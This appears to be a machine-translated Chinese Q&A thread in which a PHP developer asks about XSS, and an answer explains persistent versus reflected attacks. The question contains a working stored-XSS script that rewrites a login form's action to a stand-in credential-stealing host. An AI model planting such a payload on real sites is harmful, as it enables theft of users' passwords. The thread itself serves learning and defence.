我是
PHP开发人员,我希望提高我的网站的安全性.
从我了解以下是影响Web应用程序的两种主要的漏洞类型:
> sql注入
> XSS
sql注入可以用准备的语句来修复 – 容易.
但我还是没有真正得到XSS – 以下是XSS的一个例子?
>完整的用户自定义内容的页面上有一个登录表单(站点范围).
>用户对页面的输入不是HTML转义的.
> A用户发布以下内容(例如评论)到页面…
A really nice comment <!-- now an evil script (example here with jquery,but easily done without) ---> <script type="text/javascript"> $(document).ready(function() { $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.PHP'); }); </script>
>一个无辜的用户来到页面,脚本执行.
>无辜的用户意识到他们没有登录,并将其详细信息输入到表单中.
>用户的详细信息将发送到http://somehackysite.com/givemyourpw.PHP,然后用户的帐户详细信息被盗.
所以我在这里真的有三个问题:
这会工作吗?
这是XSS吗?
>除了转义HTML,开发人员应该采取什么预防措施对XSS?
XSS攻击有两种类型:反映XSS和持久XSS攻击.您所描述的,站点的用户输入在服务器端保存的数据,并为任何人查看页面呈现的数据被视为持久XSS.类似的攻击将是如果你有一个不能转义Javascript的帖子的评论框,或者我可以把任何东西放进一个个人资料页面.
另一类XSS攻击是反映XSS.这些更复杂一些,但它们相当于网页中未被转义的网页中的一个参数.他们经常出现在大型网站上的搜索页面.你会得到一个包含一些javascript的URL(对不起,我的示例被这里的渲染器弄错了,所以我不能给你一个例子),并且该页面将呈现出允许某人制作恶意的JavaScript URL.对于任何类型的财务数据,这些都是特别危险的;想象一个认真的用户,经常检查,以确保他们要写入链接到他们的银行,但是由于反映的XSS攻击,攻击者可以将他们发送到他们银行网站上的合法页面,但是有恶意其中的代码.
无论如何,您的示例是Persistent XSS.你可以通过这样的攻击来做更多恶意的事情,而不仅仅是更改登录表单发送用户的位置.他们多年来一直很流行,例如从站点的个人区域刮取信息,或者加上CSRF,以使经过身份验证的用户通过简单地查看页面来执行某些操作.有一些MySpace病毒一回,这样做,并从配置文件扩展到配置文件.